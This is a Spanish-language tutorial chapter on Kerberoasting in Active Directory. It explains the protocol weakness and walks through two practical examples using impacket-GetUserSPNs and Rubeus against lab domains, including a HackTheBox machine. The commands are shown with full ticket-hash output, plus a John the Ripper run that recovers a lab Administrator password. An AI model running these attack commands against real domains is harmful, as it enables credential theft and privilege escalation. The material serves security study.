5 - Kerberoasting
Kerberos está diseñado para manejar la autenticación de usuarios, no la autorización, y esta limitación es lo que hace posible ataques como el Kerberoasting.
Este ataque se basa durante la solicitud KRB_TGS_REP, cuyo mensaje se compone de los siguientes elementos:

En un entorno Kerberos, cualquier usuario autenticado en el dominio puede solicitar un Ticket Granting Service (TGS) para cualquier servicio registrado con un SPN, sin que el controlador de dominio verifique si ese usuario tiene permiso para acceder al recurso. Esto se debe a que la función del controlador de dominio es únicamente autenticar al usuario y emitir un TGS que contiene el Privilege Attribute Certificate (PAC), el cual incluye información de seguridad como grupos y SID. Sin embargo, este diseño tiene una implicancia crítica: si el SPN está vinculado a una cuenta de usuario (en lugar de una cuenta de máquina), el ticket entregado se cifra con la clave derivada de la contraseña de esa cuenta, permitiendo que un atacante lo capture y realice un ataque offline para obtener el hash NTLM y crackearlo. Esta separación entre autenticación y autorización, sumada a la falta de verificación previa de acceso, es lo que habilita ataques como el Kerberoasting.
¿Qué es Kerberoasting?
Kerberoasting es una técnica que le permite al atacante obtener TGS cifrados con la clave del servicio, para luego intentar romper esa clave mediante ataques de fuerza bruta offline.
El ataque se basa en que los TGS están cifrados con una clave derivada del hash NTLM del propietario del servicio (cuenta de usuario o de máquina). Aunque las cuentas de máquina suelen tener contraseñas robustas y aleatorias (por lo que son difíciles de crackear), algunos servicios están asociados a cuentas de usuario, que pueden tener contraseñas débiles o reutilizadas.
Dado que Kerberos no válida privilegios en la emisión de TGS, cualquier usuario autenticado en el dominio puede solicitar un TGS para cualquier servicio. El atacante puede luego extraer los tickets del caché local y usar herramientas como impacket-GetUserSPNs
para formatearlos como hashes crackeables (tipo 23).
Esta técnica es especialmente peligrosa cuando las cuentas de servicio con SPN están vinculadas a usuarios con privilegios elevados.
¿Cómo podríamos explotar este tipo de vulnerabilidades?
Ejemplo Practico 1
Si disponemos de las credenciales válidas de una cuenta del dominio —por ejemplo, SVC_TGS:GPPstillStandingStrong2k18
— y dicha cuenta tiene permisos para acceder al servicio LDAP, podemos utilizarla para enumerar cuentas de usuario que tengan un Service Principal Name (SPN) configurado. Estas cuentas, al estar asociadas a un SPN, permiten que se les solicite un Ticket de Servicio (TGS). El TGS se cifra utilizando la clave derivada del hash NTLM de la cuenta de servicio asociada al SPN. Si esta cuenta tiene privilegios elevados y utiliza una contraseña débil, es posible extraer el ticket, crackearlo offline y recuperar las credenciales en texto claro, lo cual puede otorgar acceso a servicios críticos dentro del dominio. Este es el principio detrás del ataque conocido como Kerberoasting. Para ilustrar esta primera parte vamos a tomar como ejemplo el siguiente comando de la herramienta impacket-GetUserSPNs y su resultado:
┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -outputfile spn.txt
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2025-04-25 14:50:03.426167
[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$0db1a1785dd64552e048c1b8fe2d548a$37755c15449103ef34c
6b77d74eb7739b4513b3723fa19bfad2663cc89bac7266a21b0ae7d24a7b86f089fbfe4e87cbcf8996083dcfe399af280ac35eb6c6112ce4045c
38105ff9a4df0edd7a0178fbecf789c5c1c39c9c17c41afecdf791906ea85d3c54256c07cce8a1cb734aee4cc16d8687821d25a8c468fb29eff9
75254d4896e9c8b7c6806bb052b7961e95124b56211766ff8ea9d42a4856e3af5bdc2aa73aaa414f5fb37eb84d1061c16bcefd4f0b60266120b2
e687ccf2bfdb10d5c19da7c5120bca9ce335fddc7d7b1d41f8bc3b1dcbeecc13cf4b5f4a874e4540704a4bacd537c257425db7ae704e04406bc7
cae1ca16e06ef13f3d1ca20dd0624de3eb32eaf0e2e69647e4e65ab7e2a95c25ea0093b4622ce95a03bbeb80f4aaecbfacee4af5a2476a0cec4e
35a6205b83a01fac0fe70b0e6ee5d77e3e2d9d3267100d8c713b5d7f2adff2cd6528c3ba81f92a4a59520a11d4ed10d7f0b02cba5fbd3818e75d
d14f73fd0c69ba763da388881d5494df9a8ac99ce32362c407f0ea6a5d47d65f55d0de0fa61dcc7bd3aabe05e4f0ac947b16a39281826ee602a8
f787308cd36d61fc11c3fe592073dd598d065eb2d54cad1cb054b594104ba350e1dc39bc7f3e65f7e4e010468efb708df2c1efbe6b0076a8971f
cb0cd642f0aa75d2762a9643a57eb014d7dbfa9ca9fbeb5bb1234e1acc476926813a5d1d5251d403466237338dae843dcc5c4985bb3ff05ba412
c29813ae16479672fc1728e9d90cb4db7341a430b069795c2c2f49f5b6edc886262b510bb1c7a501abba516d080ec4f93413453b714259183d1c
8f02dcc8ade6374fa4ac5fedc622b04579f6a06ee80677474e84b77ba114ff0bf00ef6db8aae9fcdef7725892c9b713b55b69ede7a292b928f15
a4e5db5b07982b9277b563561367b318179c31642e8076e4f8667c53c4f9060d240958aa08905cd4a26f9de0513337e330ab7dae853c09356b6a
6480ea497ff0e0e607891627381994c0abfca8d3007cd442ff51d6d3bc322394fb9af8bdb7e17c105a107011ede56f764a5c288f6d8adebd1a3a
3a54654a90905b62903ad6999505f7820ce5fa63256eb5f7a34e783823e36c01200f7f5630532fa8824b0614a77ac62969ae3924e1a69d4da8f5
dca2bcf6c4e6af9ba75bed8b84b283801c6811852529dff38ada2ac0eb436a7eaa308de0e7e0e9e01e758aa95b8b854e09f4112c042242adf2b5
4ff79bcd5d959f2cb86e8
En este caso, la herramienta impacket-GetUserSPNs
aprovecha el hecho de que la cuenta que tenemos tiene permisos para consultar, a través de LDAP, qué cuentas de usuario tienen configurado un Service Principal Name (SPN). Una vez identificadas, la herramienta solicita un Ticket de Servicio (TGS) para cada SPN. El KDC emite este ticket cifrado con una clave derivada del hash NTLM de la cuenta asociada al SPN, sin verificar si el solicitante tiene acceso real al servicio. Luego, la herramienta guarda ese TGS en un formato que puede ser crackeado offline. Si la cuenta de servicio tiene una contraseña débil, es posible recuperar sus credenciales en texto claro usando herramientas como hashcat o johntheripper. En el ejemplo, se solicita un TGS para el SPN asociado a la cuenta Administrator
, y se obtiene un hash Kerberos ($krb5tgs$...
) listo para atacar mediante fuerza bruta o diccionario como veremos en el siguiente paso:
┌──(root㉿kali)-[/home/kali/Documents/HTB/ACTIVE]
└─# john -w=/usr/share/wordlists/rockyou.txt spn.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:07 DONE (2025-04-25 21:26) 0.1351g/s 1423Kp/s 1423Kc/s 1423KC/s Tiffani1432..Tiago_18
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
La vulnerabilidad principal que nos permite implementar fuerza bruta con exito, reside en el uso de RC4-HMAC debido a su debilidad criptográfica comparado con algoritmos más modernos, como AES-128 o AES-256 (identificados como tipo 17 y tipo 18 respectivamente). Aunque en entornos más actualizados se recomienda migrar a estos algoritmos más robustos, RC4-HMAC sigue siendo ampliamente utilizado por razones de compatibilidad y por la permanencia de configuraciones heredadas. Esto lo convierte en un potencial objetivo a la hora de testear este tipo de vulnerabilidades. RC4-HMAC es uno de los algoritmos de cifrado utilizados por el protocolo Kerberos para proteger los tickets de autenticación. Específicamente, es un algoritmo de cifrado de flujo que combina el cifrado RC4 con un mecanismo de integridad basado en HMAC (Hash-based Message Authentication Code). Dentro del protocolo Kerberos, este algoritmo es identificado como el "tipo 23", lo cual simplemente representa su valor numérico en la especificación del protocolo.
Ejemplo Practico 2
Una vez que logramos acceso a un equipo Windows dentro del dominio —por ejemplo, comprometiendo una cuenta privilegiada o explotando una vulnerabilidad local— es posible ejecutar un ataque de Kerberoasting directamente desde la máquina comprometida. En este escenario, no es necesario interactuar directamente con el controlador de dominio desde una máquina externa como lo hicimos en el caso anterior. En su lugar, podemos usar las funciones del sistema operativo y herramientas como Rubeus, que nos permiten consultar el dominio desde el contexto del sistema comprometido. Pero para lograr esto previamente debemos cargar el ejecutable al equipo víctima.
Rubeus nos permite realizar una enumeración de todas las cuentas del dominio que tengan un Service Principal Name (SPN) asociado y que estén configuradas para usar el cifrado RC4-HMAC
. Al ejecutar el comando Rubeus.exe kerberoast
, se consulta al dominio por cuentas "Kerberoasteables" y se solicitan los correspondientes tickets de servicio (TGS). Estos tickets son devueltos por el KDC cifrados con una clave derivada del hash NTLM de la cuenta que posee el SPN. Rubeus extrae estos TGS y los imprime en un formato compatible con herramientas de crackeo como Hashcat o JohnTheRipper. Cada hash obtenido puede ser crackeado offline, sin necesidad de interactuar nuevamente con el entorno comprometido, lo que reduce significativamente la posibilidad de detección por parte de sistemas de monitoreo.
El siguiente ejemplo indica que se encontraron dos cuentas con SPNs: SQLService
y HTTPService
. Ambas utilizan RC4-HMAC como tipo de cifrado (Supported ETypes: RC4_HMAC_DEFAULT
), lo cual las hace especialmente vulnerables a este tipo de ataque. Rubeus proporciona detalles como el nombre de la cuenta, el SPN completo, la fecha del último cambio de contraseña y el ticket cifrado. Esta modalidad de Kerberoasting es particularmente eficaz, ya que puede ejecutarse sin tráfico externo y desde un entorno autenticado, aprovechando la arquitectura del protocolo Kerberos y su falta de verificación de autorización en la emisión de tickets.
C:\Users\Administrator\Downloads>Rubeus.exe kerberoast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Searching the current domain for Kerberoastable users
[*] Total kerberoastable users : 2
[*] SamAccountName : SQLService
[*] DistinguishedName : CN=SQLService,CN=Users,DC=CONTROLLER,DC=local
[*] ServicePrincipalName : CONTROLLER-1/SQLService.CONTROLLER.local:30111
[*] PwdLastSet : 5/25/2020 10:28:26 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*SQLService$CONTROLLER.local$CONTROLLER-1/SQLService.CONTROLLER.loca
l:30111*$61690B3E79CF6410113258BE39F81E64$94274F0EBD55CECD6B1197D63C57818225B7FB
C612AA61B029B8B55FDD48EC6BE7FD0ADCC5E2DA718CAD4F2093453A400E1160B8472DCF4A113A5F
3B0926D619980B0C6E2B15491E9C4EDCE8870138E5A1B7C7703C03E09304F7A01F94EEBE55F954BC
86208953EA60CF1B604511FD0AA2E980E49E17B358100ECD7C1B6A5B741F7C38B8105A71472A0A93
B8CD8EED24674C2C94A88CB04086FF23540B40A28B8974FCDE829E2EE39F504B519DB21FDC1A6B66
4A501F616876E4C782508A6AD8436B67B43B0C15F2E85A7FE701FBF81211D84A239A1826C3602754
C8FA6D239FA1D6BAA2314AAB9CA28160627DB2AD6D832EAA6D55D680B22AFD644AA2483260D4BEA6
47E7EFED9E2BA3EDE22299A43D63011F34327CAE5A216720AEBD52F20346041E95FF7BAEE89D87EF
5C34F6CA12F2314C735206AFB830A6AF7C64E72E9C6F00F1BA4ED6BE5336117B18119FCBEAC68250
C93B543D66C986BE825569006B40E0AE3C2DDD1E5B00BBB08B26D3C606E573BBC6D073C93427534A
D2DDB1505BEC1E90F01CCD8F35FD5072F5F5A64DE59987D55FF2F6777635C1501B62B27BBFF60BB6
433AF7CB0843AC411B768F9B839736496B86B71E873862B48F1C02AEE608C9059AA100D4EDC5B9C6
57ABE42FB05FBF0814009DA37779B8C433AAB6C6C32BBC300AE113C7AE7B9F928360313A42FBAE06
20861D8E63735377C0B0523F15EEDCCED21BADCB73A544BBCA064AF45C9FDF25738144ADE4BA6D55
B73F25BEEB03D57E08EFE4B11CC8A97F5E1F672DD80CDE5EDE8273582C541D3AA3F872C025F924C2
C3F234F591D07640D02748321036FC494C69ACB8C782BEB108360D1BFD534AF82CAB622FF8878A29
F69923F45F78EF9B44A05D9262DC309FA70C006B6BAC3C457D16EB8A1C7DEF48E3632EFFCBCE0D86
9365CEDBB3299FDEFD1DE915105339A4E026EF76CE2B5793DE8C31D5ECF9E034DB630C2D1F8CFB4E
0274F58E5721690EEBCE21A6B6D9EF019B5750F6BBF7F15B758643A44423DD4CCD190A272C55E4CD
2A3A6FBDA88FAD4BE9C4BAECBA1E60FD0AE75514D42543A1106F155CCBCBF03B3837FF2C09285A0F
176FF27D87F429DA6141F68DD45FE5BA5005812AF448ADDE8433705F5B297C979E544031ED75B3AB
860409C16FBDB86CAF2A5B40863DA2A75E39A177F5FF75F71423FC8B1912F1BF3090D6130D0D0494
5753400DDE6B3FEC7C8EEBA07B0DEF45A27FDAA41D5689D242E86C9AC79020A9B432DEC02628230A
E996FCDA67F5C4312B5CA6A22BD54BACDA9636CAF7B7022A9DAC72E1116EE864379EA070D7514432
029DBD913AF7FC0B9C976E1253EEEBE148AD1235629F66766CDA1665FAC7903C9EB6B21B24C7CFFF
2E27BE01D129A7CB2DAA727817948FFC0728485555034647C23CAD1DE3B2FF8D947CDE4C0771077A
69660D2DCECD12B136E24734170B6BD8B5E5BDEF0EF107E2AED8DDBF47228D89C5DFC56C060C024A
20F39D9FAA265398EBA0BAEB84CAE921E85B7EAC162FB6220EDD1480BCBCD503B422E983DEACB2C1
BA3F8EA95FEDA1969107B13DCA7B8B6B024CC94D9887B3FA40477CC9B9107A673578949D02349CAA
631D21D0D668CDD5D4E59D3F784706359A8E81D0C79F3CFDE264D70EB6
[*] SamAccountName : HTTPService
[*] DistinguishedName : CN=HTTPService,CN=Users,DC=CONTROLLER,DC=local
[*] ServicePrincipalName : CONTROLLER-1/HTTPService.CONTROLLER.local:30222
[*] PwdLastSet : 5/25/2020 10:39:17 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*HTTPService$CONTROLLER.local$CONTROLLER-1/HTTPService.CONTROLLER.lo
cal:30222*$004CECD8819D3B0E02EA99631B2B554E$12666E3DEE0CFA494A03D45C3AF83CC78423
4CB411651F61609079E773D46A7FA88E80E9AD4A70CDB4E063106E22B001C47940193ED308480C8B
C82C7FBCFD6EBEC49DE78427B11760EEF22C390BB825C2C99117783399A3EFD39C39F094F902EF85
90E4B3F99B9EE97495EC60EFA5B1DDB3F5859614D904727E0A6E9E61AAE42CCBF239171D2D95EA14
6B39E41989A7801E40B89A86407F51E5D67AAA5596BB5F3D9ABF1EA0C1692F49E3D65D618C33CBDF
61BE2AC3E9A4CEC472DF86D7AD373B260EB76F812F40C5D3198F2573EA28D7165D3D3241C55EC1B6
591CC32812EB8F3C90B6715DCCC97230411981EA44872B9C87916F4AAF3C45142D697C7726387567
1AD230C5E9F9D9689E0205E2BDC14073DC89F6E04588385401F0047E8AC73A1301F54510CC29874C
C33E5C95962879744E513003E6ABCB0FB6B37DA9EB3BF356A85B74E090420EA771CDA24A77D7554B
32F625095D9E159706EE94FA4BA518291D2DEE48163F53478C395CD528769F3D03E79D6B9EB69944
C516DB46D332D0B5D5030DA02205037BB2FD220706E070580437B219982F3032742B94FD5A422C0D
E9437575C7B1B027659F2AF5F633EE712861DC013080DDDD115A48861555F36450A08E719B3FBC0E
682DA7314696768E15C902222505A863073367D51570581B42B8A4CF2143EF3CCD7295E8D10462AB
893689704D5BE61E917135398EAA498723783AC75E119856369EABD52C7C435C6C8942B83199D8A3
DD6F4F2197D5FCC31AEB161189C6687907B3BEF6F7CB27B6C4BCC3DDEE516E372D2ADE29FE1E008F
7C86B5304D11F5E908530191C7E0CE59F878E721CDA7AEE40693A9FF9990565F4657340C4FAE616E
EEF5D32B3A7ABC7E1CDA93DBC0E069916C8B133EC2E8F3109733ED8F131C91E69C5C230BE5220ADC
BA3D85C31663611B989750E9F5F971591DD0CEFA92A4203C54F1CF6DA3C819A5E2768CA1B15ABC11
A9B68FB38C3CDD5D8CB30F86884646AFC0E47F11F44D29D35C2A72F2A265E7DDB71D4A226E46089C
6D0017C4DC9F638412662124D8C5E9D7F02E3D4F8EE0BD0FEBCE642B562FBEDC8A1C08B2F1C72914
CCD6E1E6AA40A311FEB6DBF670716ED680296F55215D2524B3DCBDF13B204B3450A4DEDD6B1DE036
3AF2D29563703FFE23CDD540A01538194E23122D22083E7B2D36D6D17DFDE49FD31F31539DC87383
23745BF72F907DFC9160E0C2ABF0E257C0BA7A783BFDAA4ABEB3111B7B7ABEFDD9F2419C7ED3CFCE
8D4CCD8E741826BD3C733F75FBB36AD22B993FDE8A4FD0D1C217B0ECCC898B83A337632D2245CE2C
ED5007FDE3D5D188CE983A037F87F52DCCED6F29CB8F509A026C8B5C9AB84A01D7934CF8389CCC28
E1DCE925D24ED4DA097385324B7824A77860F20D7C3A6A664FFF21E3FE640F1D408B1E8D1957D5F8
41A5BF114F906D13C001272BB316379DA22DDD10DF1F3060AE6E92B7C6B187DB0B0240C0ABA13E21
CB2285F1E32321655A442D53E0CEFB17AC6BE8550D07784542A8D3BE92C4262704494E5D0A582547
2646A6CCFDB9CEF48D7378D8B2D4282522864A11FE1F04C0E6D295271DC1C25C7EA47D8F84A40058
A4070F6C9C220A99338CC4A822F714918259C673362ECB29DEC09946AD5C
Last updated